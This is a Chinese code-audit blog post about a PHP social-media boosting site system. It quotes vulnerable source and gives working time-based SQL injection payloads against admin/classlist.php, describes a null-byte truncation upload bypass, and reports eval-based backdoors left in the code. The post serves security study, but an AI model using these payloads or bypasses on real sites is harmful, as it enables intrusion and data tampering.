51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

代码审计之某代刷网系统

文章由本人首发于奇安信攻防社区地址 :https://forum.butian.net/share/270

0x00前言 {#0x00%E5%89%8D%E8%A8%806007}

众所周知,目前这种代刷网在网络上还是比较常见的,所以今天准备对这类系统进行一波审计。
本文所使用的环境为***phpstudy的php5.2.17版本+apache***

0x01正文 {#0x01%E6%AD%A3%E6%96%871817}

  • SQL注入

首先,我们先打开了法师的seay审计系统。由于sql注入漏洞是比较多见的,所以我往往会优先审计它。
25510-8fk8jcrkvbj.png

但是,我发现这里显示的select类型注入描述过少。所以这次我打算先利用敏感函数追踪的方法来进行挖掘
08909-1ilnfl5kl45.png

哦吼,这里很有可能存在sql注入漏洞。我们点进去看看。
13700-4470k1w57ak.png

elseif ($my=='edit_submit') {
    $cid = $_GET['cid'];
    $rows = $DB->get_row('select * from shua_class where cid=\'' . $cid . '\' limit 1');
    if (!$rows) {
        exit('<script language=\'javascript\'>alert(\'当前记录不存在!\');history.go(-1);</script>');
    }

这洞不就来了么。$cid变量未经过滤便直接传递到了sql语句中。由于$DB->get_row是返回存在的行数。所以说这里我们只能用盲注来进行判断。
40056-bmud7iqaueg.png

payload为

/admin/classlist.php?my=edit_submit&&cid=1' and sleep(10)--+

然后继续看这个文件
98455-jgywc9d8t9.png

if ($my=='add_submit') {
    $name = $_POST['name'];
    if ($name==NULL) {
        exit('<script language=\'javascript\'>alert(\'保存错误,请确保每项都不为空!\');history.go(-1);</script>');
    } else {
        $sql = 'insert into `shua_class` (`name`,`active`) values (\'' . $name . '\',\'1\')';

当&name不为空的时候执行insert类型的sql注入。
32181-3l8qmw3c8vi.png

就像上图即可
payload:name=yanxia'+or+sleep(10),'1')%23
67722-46fvwef863k.png

okey,接着往下翻。我们会发现个delete类型的sql注入

elseif ($my=='delete') {
    $cid = $_GET['cid'];
    $sql = 'DELETE FROM shua_class WHERE cid=\'' . $cid . '\'';
    if ($DB->query($sql)) {
        exit('<script language=\'javascript\'>alert(\'删除成功!\');window.location.href=\'classlist.php\';</script>');
    } else {
        exit('<script language=\'javascript\'>alert(\'删除失败!' . $DB->error() . '\');history.go(-1);</script>');
    }

payload如下:

admin/classlist.php?my=delete&cid=1' and sleep(10)--+

26489-fu9wis9qz7.png

(其他地方也存在类似的sql注入我就不一一写出来了)

  • 文件上传

这里,我们通过先定位一下文件上传点的方式来进行审计。
打开地址admin/shopedit.php?my=add,发现有个文件上传的地方
16348-1m6ka8jbbkh.png

30983-xgi681qdjib.png

我们打开源码看一下逻辑
05986-pdxzozsjmfg.png

case 'uploadimg':
    if($_POST['do']=='upload'){
        $type = $_POST['type'];
        $filename = $type.'_'.md5_file($_FILES['file']['tmp_name']).'.png';
        $fileurl = 'assets/img/Product/'.$filename;
        if(copy($_FILES['file']['tmp_name'], ROOT.'assets/img/Product/'.$filename)){
            exit('{"code":0,"msg":"succ","url":"'.$fileurl.'"}');
        }else{
            exit('{"code":-1,"msg":"上传失败,请确保有本地写入权限"}');
        }
    }
    exit('{"code":-1,"msg":"null"}');
break;

我们可以发现md5_file($_FILES['file']['tmp_name'])这里运用了md5加密。所以说我们不能从file和tmp_name处下手。而$type变量恰好是我们可控的。所以说我们可以才取00截断来达到文件上传的效果(有些人可能不懂什么是00截断。我把具体操作放下图了)
03938-y6rctgd9zdo.png

79977-krku6n2exv.png

这里虽然显示是.jpg结尾但是其实已经被截断了。我们打开目录看看
07872-l3d5slmpub.png

01698-861pxp2y4m.png

35087-tsb643hvky.png

  • 后门

在我利用自动审计功能的时候看到了它。一个404页面竟然还会存在eval。所以说极有可能是作者留下的后门。
13517-m8w925haic.png

点开看看。确实如此
57032-mm50wp2q32m.png

接着我想继续看看有木有代码执行,常见敏感函数有eval(),assert(),preg_replace(),call_user_func(),call_user_func_arry(),arry_map()等等。
精彩的一幕来了。当我搜索preg_replace的时候发现了下图
31342-gun92ce9bv.png

36010-glvexqbtye5.png

哦吼,这不妥妥的是个后门吗
并且我发现是gzinflate(base64_decode())的加密。我们输出一下他的源码看看
72768-710yaluhf1o.png

81768-xsfv9m4h61s.png

0x02结尾 {#0x02%E7%BB%93%E5%B0%BE6620}

代码审计还是蛮有意思的。光看不自己动手的话很难进步!大家与我一起加油鸭
51597-r62tcic1k9.png

赞(5)
未经允许不得转载:工具盒子 » 代码审计之某代刷网系统